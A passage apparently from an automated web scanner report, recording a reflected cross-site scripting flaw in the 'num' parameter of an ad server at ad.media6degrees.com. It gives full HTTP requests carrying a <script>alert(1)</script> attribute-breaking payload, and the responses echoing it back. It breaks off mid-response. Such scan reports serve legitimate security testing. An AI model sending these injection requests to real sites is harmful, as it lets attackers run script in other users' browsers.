The value of the num request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe778"><script>alert(1)</script>e1e81b2c729 was submitted in the num parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserv/csst?adType=iframe|secId=2834|width=160|height=600|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BBOMbDD7JTcfMBpOv6QaAhpCCDueR9Y8C17SBmDHnxKuqagAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAGLgMjrA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQoxNjB4NjAwX2FzyAEJ2gFzaHR0cDovL3d3dy5rbm93eW91cm1vYmlsZS5jb20vZmVhdHVyZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=fe778"><script>alert(1)</script>e1e81b2c729&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847&adurl= HTTP/1.1
Host: ad.media6degrees.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt115sj2xzt1tr37xzt1tr37xzt115sj2xzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15sj201a3m050k0d50w; rdrlst=43n0pahlkze3o000000043m04157rlklhm40000000h3m05144qlkze3o000000043m04157olkxlm50000000c3m0513y7lkze3o000000043m0415sklkkpqq0000000p3m050hsnlkze3o000000043m0412nslkxrxz000000063m050x1blkkpqq0000000p3m050hsplkkpqq0000000p3m0512gdlkkyy00000000l3m050morlkkxrb0000000m3m0514k6lkxlm50000000c3m050w35lkze3o000000043m0413pylkze3o000000043m0414rwlkxlm50000000c3m051628lkze3y000000023m0214khlkxlm50000000c3m051196lkkkbe0000000v3m0513x4lkxrxz000000063m0513qmlkze3y000000023m021195lkkpqh0000000q3m051194lkkjj40000000w3m050dlxlkb5u2000000103m0516nulkxlm50000000c3m051193lkkplo0000000s3m0513q8lkze3y000000023m020p46lkkpqq0000000p3m051192lkkpke0000000u3m05008slklhm40000000h3m0516oilkxlm50000000c3m050moylkl0r50000000i3m050zg4lkze3y000000023m0213qwlkze4r000000013m01144elkze3o000000043m0412ftlkxrxz000000063m0510poljyxb4000000173m050e6llkl0r50000000i3m05138olkxrxz000000063m0516dnlkze3o000000043m04167ulkxq41000000073m0514qllkxlm50000000c3m05159olk8fax000000123m0515halkxlm50000000c3m050m0ulkl0r50000000i3m050m0plkkxrb0000000m3m0516e6lkxnbq0000000b3m0513zblkze3y000000023m0214xnlkxlm50000000c3m05167blkl0r50000000i3m0516dxlkze3o000000043m041391lkxrxz000000063m0515zhlkze3y000000023m021672lkkxrb0000000m3m050ycrlkncow0000000g3m05158mlkze3o000000043m040okclkze3o000000043m041015lkze3y000000023m0213lelkxrxz000000063m0513yolkze3o000000043m04137rlkkpqq0000000p3m050ojulkze3o000000043m041240lkxrxz000000063m0514ozlkxlm50000000c3m0514bmlkxrxz000000063m0514j7lkxlm50000000c3m0514bzlkxlm50000000c3m050ni1lkb5u2000000103m0511pjlkxrxz000000063m050p01lkze3o000000043m0415holkxlm50000000c3m050m7alkkxrb0000000m3m0513mklkxrxz000000063m050m7flkkyyl0000000k3m05101ulkze3o000000043m040zoklkze3o000000043m0412zglkxrxz000000063m0513lxlkxrxz000000063m050zp4lkze3o000000043m04148ilkxlm50000000c3m050xvclkze3o000000043m0412yxlkxrxz000000063m0515iglkxq0l000000083m0513n7lkze3y000000023m0216s2lkxpyu000000093m0514hplkxlm50000000c3m050znmlk3462000000153m0514hclkxlm50000000c3m050wd7lkze3o000000043m04102plkxrxz000000063m0510tylkkpku0000000t3m050p1blkb5u2000000103m050p1alkze3o000000043m0400bvlk9pe8000000113m0515xylk60qe000000143m0510lxlkxrxz000000063m05103blkxrxz000000063m0510telkd7nq0000000z3m0516rslkxppm0000000a3m050c9slk9pe8000000113m0513mxlkze3o000000043m0412emlkze3o000000043m0410rdlkdkly0000000x3m05126qlkxrxz000000063m050mj2lkkxrb0000000m3m050kualkkpqq0000000p3m05163plkxlm50000000c3m050z9zlkze3y000000023m020z9xlkze3o000000043m040m45lkl0r50000000i3m050m40lkkxrb0000000m3m050zqylkxrxz000000063m050mjelkkxrb0000000m3m0512qnlkkplt0000000r3m050ovslkze3o000000043m0412x6lkxrxz000000063m050bo8lkb5u2000000103m0514e9lkze3o000000043m040mjjlkl0r50000000i3m051342lkze3y000000023m020lw5lkb5u2000000103m0516aulkze3o000000043m0415k9lkxlm50000000c3m0516atlkxlm50000000c3m051203lkb5u2000000103m05163clkxlm50000000c3m051204lkkyy00000000l3m050afqlkze3o000000043m040o0vlkkpqx0000000o3m050z2ilkkxrb0000000m3m0513ovlkxrxz000000063m05; sglst=2280sbpelkxlm50000000c3m050k0c50cdsnlkxlm501sim00c3m050k0c50carllkxlm501sim00c3m050k0c50ccg5lkxlm501sim00c3m050k0c50c9rslkkpke0eokd00u3m050k0d50uam5lkkxr8002zw00n3m050k0d50ncd4lkxlm5006bu00c3m050k0c50ccrglkxlm501sim00c3m050k0c50ccnolkxlm501sim00c3m050k0c50cabelkxlm5006bu00c3m050k0c50cdd8lkxlm5006bu00c3m050k0c50ccy2lkxlm501sim00c3m050k0c50caoplkb5u209jqc0063e000j00500cnxlkxlm501sim00c3m050k0c50cbq3lkxlm501sim00c3m050k0c50cbvplkxlm5006bu00c3m050k0c50caoilkxlm501sim00c3m050k0c50c942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm501sim00c3m050k0c50cbvclkxlm501sim00c3m050k0c50cc5flkxlm501sim00c3m050k0c50c56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00c3m050k0c50cawklkxlm501sim00c3m050k0c50casulkb5u209jqc0063e000j00500crplkxlm501sim00c3m050k0c50casqlkxlm501sim00c3m050k0c50cc5rlkov6e0000000f3m050k0d50faw8lkxlm501sim00c3m050k0c50cc60lkxlm501sim00c3m050k0c50cdc4lkxlm501sim00c3m050k0c50cd26lkxlm501sim00c3m050k0c50cdnjlkxlm501sim00c3m050k0c50cbrilkxlm501sim00c3m050k0c50ccbclkxlm501sim00c3m050k0c50cc85lkxlm501sim00c3m050k0c50ccsslkxlm501sim00c3m050k0c50cc80lkb5u209jqc0063e000j00500ag2lkd7nq0m6h100z3m050k0d50wc1elkxlm501sim00c3m050k0c50cc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00c3m050k0c50cc8flkxlm501sim00c3m050k0c50ca6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00c3m050k0c50c9z6lkxlm501sim00c3m050k0c50cdbtlkxlm501sim00c3m050k0c50cdyllkxlm501sim00c3m050k0c50c0kllklhm40c4010053l000k005009q4lkxlm501sim00c3m050k0c50c9q5lkb5u20mfs300o3l000k00500b3zlkxlm501sim00c3m050k0c50c0t7ljyxb410gtn0173m050k0d50wdgflkkpke0eokd00u3m050k0d50u9mjlkxlm50000000c3m050k0c50cbo0lkb5u20o8ap0103m050k0d50wbo1lkkyy00cmo50093l000k005009pglkxlm501sim00c3m050k0c50ccwalkxlm501sim00c3m050k0c50cd86lklhm40c4010053l000k00500d84lkxlm501sim00c3m050k0c50cdqllkxlm501sim00c3m050k0c50cdz3lkxlm5006bu00c3m050k0c50ccm6lkxlm501sim00c3m050k0c50ccxdlkxlm501sim00c3m050k0c50c719lkb5u20o8ap00i3m050k0c50d71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00c3m050k0c50ccc3lkxlm501sim00c3m050k0c50cdgilkb5u209jqc0063e000j00500cthlkxlm501sim00c3m050k0c50c4wclkb5u20o8ap00i3m050k0c50d8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm501sim00c3m050k0c50carilkxlm50000000c3m050k0c50cbwjlkkyy00ef6r00l3m050k0d50lcbplkxlm501sim00c3m050k0c50c9gelkxlm501sim00c3m050k0c50c; vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f23eoh127p10l24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lkkxr8160658j30136z01RxI8RFlVw00ein74tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:51 GMT; Path=/
Set-Cookie: clid=2ljtllp01170xrd52zkwjuxh15usq01b3m060k0e50x; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:51 GMT; Path=/
Set-Cookie: orblb=""; Domain=media6degrees.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rdrlst=43n157rlklhm40000000i3m060pahlkze3o000000053m05157olkxlm50000000d3m06144qlkze3o000000053m0513y7lkze3o000000053m050hsnlkze3o000000053m0515sklkkpqq0000000q3m060x1blkkpqq0000000q3m0612nslkxrxz000000073m060hsplkkpqq0000000q3m0612gdlkkyy00000000m3m060morlkkxrb0000000n3m0614k6lkxlm50000000d3m060w35lkze3o000000053m0513pylkze3o000000053m0514rwlkxlm50000000d3m061628lkze3y000000033m0314khlkxlm50000000d3m061196lkkkbe0000000w3m0613x4lkxrxz000000073m0613qmlkze3y000000033m031195lkkpqh0000000r3m061194lkkjj40000000x3m060dlxlkb5u2000000113m0616nulkxlm50000000d3m0613q8lkze3y000000033m031193lkkplo0000000t3m06008slklhm40000000i3m061192lkkpke0000000v3m060p46lkkpqq0000000q3m060zg4lkze3y000000033m030moylkl0r50000000j3m0616oilkxlm50000000d3m06144elkze3o000000053m0513qwlkze4r000000023m0210poljyxb4000000183m0612ftlkxrxz000000073m060e6llkl0r50000000j3m0616dnlkze3o000000053m05138olkxrxz000000073m06167ulkxq41000000083m06159olk8fax000000133m0614qllkxlm50000000d3m0615halkxlm50000000d3m060m0ulkl0r50000000j3m060m0plkkxrb0000000n3m0616e6lkxnbq0000000c3m0613zblkze3y000000033m0314xnlkxlm50000000d3m06167blkl0r50000000j3m0616dxlkze3o000000053m051391lkxrxz000000073m0615zhlkze3y000000033m031672lkkxrb0000000n3m060ycrlkncow0000000h3m06158mlkze3o000000053m050okclkze3o000000053m051015lkze3y000000033m0313lelkxrxz000000073m0613yolkze3o000000053m05137rlkkpqq0000000q3m060ojulkze3o000000053m051240lkxrxz000000073m0614ozlkxlm50000000d3m0614bmlkxrxz000000073m0614j7lkxlm50000000d3m0614bzlkxlm50000000d3m060ni1lkb5u2000000113m0611pjlkxrxz000000073m060p01lkze3o000000053m0515holkxlm50000000d3m060m7alkkxrb0000000n3m0613mklkxrxz000000073m060m7flkkyyl0000000l3m06101ulkze3o000000053m050zoklkze3o000000053m0512zglkxrxz000000073m0613lxlkxrxz000000073m060zp4lkze3o000000053m05148ilkxlm50000000d3m060xvclkze3o000000053m0512yxlkxrxz000000073m0615iglkxq0l000000093m0613n7lkze3y000000033m0316s2lkxpyu0000000a3m0614hplkxlm50000000d3m060znmlk3462000000163m0614hclkxlm50000000d3m060wd7lkze3o000000053m05102plkxrxz000000073m0610tylkkpku0000000u3m060p1blkb5u2000000113m060p1alkze3o000000053m0500bvlk9pe8000000123m0615xylk60qe000000153m0610lxlkxrxz000000073m06103blkxrxz000000073m0610telkd7nq000000103m0616rslkxppm0000000b3m060c9slk9pe8000000123m0613mxlkze3o000000053m0512emlkze3o000000053m0510rdlkdkly0000000y3m06126qlkxrxz000000073m060mj2lkkxrb0000000n3m060kualkkpqq0000000q3m060z9zlkze3y000000033m03163plkxlm50000000d3m060z9xlkze3o000000053m050m45lkl0r50000000j3m060m40lkkxrb0000000n3m060zqylkxrxz000000073m060mjelkkxrb0000000n3m0612qnlkkplt0000000s3m060ovslkze3o000000053m0514e9lkze3o000000053m050bo8lkb5u2000000113m0612x6lkxrxz000000073m060mjjlkl0r50000000j3m061342lkze3y000000033m030lw5lkb5u2000000113m0616aulkze3o000000053m0516atlkxlm50000000d3m0615k9lkxlm50000000d3m061203lkb5u2000000113m061204lkkyy00000000m3m06163clkxlm50000000d3m060afqlkze3o000000053m050o0vlkkpqx0000000p3m060z2ilkkxrb0000000n3m0613ovlkxrxz000000073m06; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:51 GMT; Path=/
Set-Cookie: sglst=2280sbpelkxlm50000000d3m060k0d50ddsnlkxlm501sim00d3m060k0d50darllkxlm501sim00d3m060k0d50dcg5lkxlm501sim00d3m060k0d50d9rslkkpke0eokd00v3m060k0e50vam5lkkxr8002zw00o3m060k0e50ocd4lkxlm5006bu00d3m060k0d50dcrglkxlm501sim00d3m060k0d50dcnolkxlm501sim00d3m060k0d50dabelkxlm5006bu00d3m060k0d50ddd8lkxlm5006bu00d3m060k0d50dcy2lkxlm501sim00d3m060k0d50daoplkb5u209jqc0063e000j00500cnxlkxlm501sim00d3m060k0d50dbq3lkxlm501sim00d3m060k0d50daoilkxlm501sim00d3m060k0d50dbvplkxlm5006bu00d3m060k0d50d942lkb5u20mfs300o3l000k005009ullkxlm501sim00d3m060k0d50d8ndlkb5u20mfs300o3l000k00500bvclkxlm501sim00d3m060k0d50dc5flkxlm501sim00d3m060k0d50d56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00d3m060k0d50dawklkxlm501sim00d3m060k0d50dasulkb5u209jqc0063e000j00500crplkxlm501sim00d3m060k0d50dasqlkxlm501sim00d3m060k0d50dc5rlkov6e0000000g3m060k0e50gaw8lkxlm501sim00d3m060k0d50dc60lkxlm501sim00d3m060k0d50ddc4lkxlm501sim00d3m060k0d50dd26lkxlm501sim00d3m060k0d50ddnjlkxlm501sim00d3m060k0d50dbrilkxlm501sim00d3m060k0d50dcbclkxlm501sim00d3m060k0d50dc85lkxlm501sim00d3m060k0d50dcsslkxlm501sim00d3m060k0d50dc80lkb5u209jqc0063e000j00500ag2lkd7nq0m8qp0103m060k0e50xc1elkxlm501sim00d3m060k0d50dc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00d3m060k0d50dc8flkxlm501sim00d3m060k0d50da6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00d3m060k0d50d9z6lkxlm501sim00d3m060k0d50ddbtlkxlm501sim00d3m060k0d50d9q4lkxlm501sim00d3m060k0d50d0kllklhm40c4010053l000k00500dyllkxlm501sim00d3m060k0d50db3zlkxlm501sim00d3m060k0d50d9q5lkb5u20mfs300o3l000k005009mjlkxlm50000000d3m060k0d50ddgflkkpke0eokd00v3m060k0e50v0t7ljyxb410j3b0183m060k0e50xbo0lkb5u20o8ap0113m060k0e50xbo1lkkyy00cmo50093l000k005009pglkxlm501sim00d3m060k0d50dd86lklhm40c4010053l000k00500cwalkxlm501sim00d3m060k0d50ddqllkxlm501sim00d3m060k0d50dd84lkxlm501sim00d3m060k0d50ddz3lkxlm5006bu00d3m060k0d50dcm6lkxlm501sim00d3m060k0d50dcxdlkxlm501sim00d3m060k0d50d719lkb5u20o8ap00j3m060k0d50e71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00d3m060k0d50dcc3lkxlm501sim00d3m060k0d50ddgilkb5u209jqc0063e000j00500cthlkxlm501sim00d3m060k0d50d4wclkb5u20o8ap00j3m060k0d50ea0ulkxlm501sim00d3m060k0d50d5mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm50000000d3m060k0d50dcbplkxlm501sim00d3m060k0d50dbwjlkkyy00ef6r00m3m060k0e50m9gelkxlm501sim00d3m060k0d50d; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:51 GMT; Path=/
Set-Cookie: vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a23eoh127p10l24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:51 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 10 May 2011 14:03:50 GMT
Content-Length: 3559

<IFRAME SRC="http://ad.doubleclick.net/adi/N5371.media6/B5451956.2;sz=160x600;ord=1305036231138;click0=http://ad.media6degrees.com/adserv/clk?tId=5001193350124912|cId=6522|secId=2834|height=600|pubId=
...[SNIP]...
vL3d3dy5rbm93eW91cm1vYmlsZS5jb20vZmVhdHVyZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=fe778"><script>alert(1)</script>e1e81b2c729&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847&adurl=" WIDTH=160 HEIGHT=600 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'>
...[SNIP]...

4.106. http://ad.media6degrees.com/adserv/csst [num parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/adserv/csst

Issue detail

The value of the num request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cad9a"><script>alert(1)</script>beea0f0ea41 was submitted in the num parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserv/csst?adType=iframe|secId=2834|width=160|height=600|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BBOMbDD7JTcfMBpOv6QaAhpCCDueR9Y8C17SBmDHnxKuqagAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAGLgMjrA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQoxNjB4NjAwX2FzyAEJ2gFzaHR0cDovL3d3dy5rbm93eW91cm1vYmlsZS5jb20vZmVhdHVyZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1cad9a"><script>alert(1)</script>beea0f0ea41&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847&adurl= HTTP/1.1
Host: ad.media6degrees.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt115sj2xzt1tr37xzt1tr37xzt115sj2xzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15sj201a3m050k0d50w; rdrlst=43n0pahlkze3o000000043m04157rlklhm40000000h3m05144qlkze3o000000043m04157olkxlm50000000c3m0513y7lkze3o000000043m0415sklkkpqq0000000p3m050hsnlkze3o000000043m0412nslkxrxz000000063m050x1blkkpqq0000000p3m050hsplkkpqq0000000p3m0512gdlkkyy00000000l3m050morlkkxrb0000000m3m0514k6lkxlm50000000c3m050w35lkze3o000000043m0413pylkze3o000000043m0414rwlkxlm50000000c3m051628lkze3y000000023m0214khlkxlm50000000c3m051196lkkkbe0000000v3m0513x4lkxrxz000000063m0513qmlkze3y000000023m021195lkkpqh0000000q3m051194lkkjj40000000w3m050dlxlkb5u2000000103m0516nulkxlm50000000c3m051193lkkplo0000000s3m0513q8lkze3y000000023m020p46lkkpqq0000000p3m051192lkkpke0000000u3m05008slklhm40000000h3m0516oilkxlm50000000c3m050moylkl0r50000000i3m050zg4lkze3y000000023m0213qwlkze4r000000013m01144elkze3o000000043m0412ftlkxrxz000000063m0510poljyxb4000000173m050e6llkl0r50000000i3m05138olkxrxz000000063m0516dnlkze3o000000043m04167ulkxq41000000073m0514qllkxlm50000000c3m05159olk8fax000000123m0515halkxlm50000000c3m050m0ulkl0r50000000i3m050m0plkkxrb0000000m3m0516e6lkxnbq0000000b3m0513zblkze3y000000023m0214xnlkxlm50000000c3m05167blkl0r50000000i3m0516dxlkze3o000000043m041391lkxrxz000000063m0515zhlkze3y000000023m021672lkkxrb0000000m3m050ycrlkncow0000000g3m05158mlkze3o000000043m040okclkze3o000000043m041015lkze3y000000023m0213lelkxrxz000000063m0513yolkze3o000000043m04137rlkkpqq0000000p3m050ojulkze3o000000043m041240lkxrxz000000063m0514ozlkxlm50000000c3m0514bmlkxrxz000000063m0514j7lkxlm50000000c3m0514bzlkxlm50000000c3m050ni1lkb5u2000000103m0511pjlkxrxz000000063m050p01lkze3o000000043m0415holkxlm50000000c3m050m7alkkxrb0000000m3m0513mklkxrxz000000063m050m7flkkyyl0000000k3m05101ulkze3o000000043m040zoklkze3o000000043m0412zglkxrxz000000063m0513lxlkxrxz000000063m050zp4lkze3o000000043m04148ilkxlm50000000c3m050xvclkze3o000000043m0412yxlkxrxz000000063m0515iglkxq0l000000083m0513n7lkze3y000000023m0216s2lkxpyu000000093m0514hplkxlm50000000c3m050znmlk3462000000153m0514hclkxlm50000000c3m050wd7lkze3o000000043m04102plkxrxz000000063m0510tylkkpku0000000t3m050p1blkb5u2000000103m050p1alkze3o000000043m0400bvlk9pe8000000113m0515xylk60qe000000143m0510lxlkxrxz000000063m05103blkxrxz000000063m0510telkd7nq0000000z3m0516rslkxppm0000000a3m050c9slk9pe8000000113m0513mxlkze3o000000043m0412emlkze3o000000043m0410rdlkdkly0000000x3m05126qlkxrxz000000063m050mj2lkkxrb0000000m3m050kualkkpqq0000000p3m05163plkxlm50000000c3m050z9zlkze3y000000023m020z9xlkze3o000000043m040m45lkl0r50000000i3m050m40lkkxrb0000000m3m050zqylkxrxz000000063m050mjelkkxrb0000000m3m0512qnlkkplt0000000r3m050ovslkze3o000000043m0412x6lkxrxz000000063m050bo8lkb5u2000000103m0514e9lkze3o000000043m040mjjlkl0r50000000i3m051342lkze3y000000023m020lw5lkb5u2000000103m0516aulkze3o000000043m0415k9lkxlm50000000c3m0516atlkxlm50000000c3m051203lkb5u2000000103m05163clkxlm50000000c3m051204lkkyy00000000l3m050afqlkze3o000000043m040o0vlkkpqx0000000o3m050z2ilkkxrb0000000m3m0513ovlkxrxz000000063m05; sglst=2280sbpelkxlm50000000c3m050k0c50cdsnlkxlm501sim00c3m050k0c50carllkxlm501sim00c3m050k0c50ccg5lkxlm501sim00c3m050k0c50c9rslkkpke0eokd00u3m050k0d50uam5lkkxr8002zw00n3m050k0d50ncd4lkxlm5006bu00c3m050k0c50ccrglkxlm501sim00c3m050k0c50ccnolkxlm501sim00c3m050k0c50cabelkxlm5006bu00c3m050k0c50cdd8lkxlm5006bu00c3m050k0c50ccy2lkxlm501sim00c3m050k0c50caoplkb5u209jqc0063e000j00500cnxlkxlm501sim00c3m050k0c50cbq3lkxlm501sim00c3m050k0c50cbvplkxlm5006bu00c3m050k0c50caoilkxlm501sim00c3m050k0c50c942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm501sim00c3m050k0c50cbvclkxlm501sim00c3m050k0c50cc5flkxlm501sim00c3m050k0c50c56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00c3m050k0c50cawklkxlm501sim00c3m050k0c50casulkb5u209jqc0063e000j00500crplkxlm501sim00c3m050k0c50casqlkxlm501sim00c3m050k0c50cc5rlkov6e0000000f3m050k0d50faw8lkxlm501sim00c3m050k0c50cc60lkxlm501sim00c3m050k0c50cdc4lkxlm501sim00c3m050k0c50cd26lkxlm501sim00c3m050k0c50cdnjlkxlm501sim00c3m050k0c50cbrilkxlm501sim00c3m050k0c50ccbclkxlm501sim00c3m050k0c50cc85lkxlm501sim00c3m050k0c50ccsslkxlm501sim00c3m050k0c50cc80lkb5u209jqc0063e000j00500ag2lkd7nq0m6h100z3m050k0d50wc1elkxlm501sim00c3m050k0c50cc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00c3m050k0c50cc8flkxlm501sim00c3m050k0c50ca6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00c3m050k0c50c9z6lkxlm501sim00c3m050k0c50cdbtlkxlm501sim00c3m050k0c50cdyllkxlm501sim00c3m050k0c50c0kllklhm40c4010053l000k005009q4lkxlm501sim00c3m050k0c50c9q5lkb5u20mfs300o3l000k00500b3zlkxlm501sim00c3m050k0c50c0t7ljyxb410gtn0173m050k0d50wdgflkkpke0eokd00u3m050k0d50u9mjlkxlm50000000c3m050k0c50cbo0lkb5u20o8ap0103m050k0d50wbo1lkkyy00cmo50093l000k005009pglkxlm501sim00c3m050k0c50ccwalkxlm501sim00c3m050k0c50cd86lklhm40c4010053l000k00500d84lkxlm501sim00c3m050k0c50cdqllkxlm501sim00c3m050k0c50cdz3lkxlm5006bu00c3m050k0c50ccm6lkxlm501sim00c3m050k0c50ccxdlkxlm501sim00c3m050k0c50c719lkb5u20o8ap00i3m050k0c50d71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00c3m050k0c50ccc3lkxlm501sim00c3m050k0c50cdgilkb5u209jqc0063e000j00500cthlkxlm501sim00c3m050k0c50c4wclkb5u20o8ap00i3m050k0c50d8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm501sim00c3m050k0c50carilkxlm50000000c3m050k0c50cbwjlkkyy00ef6r00l3m050k0d50lcbplkxlm501sim00c3m050k0c50c9gelkxlm501sim00c3m050k0c50c; vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f23eoh127p10l24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
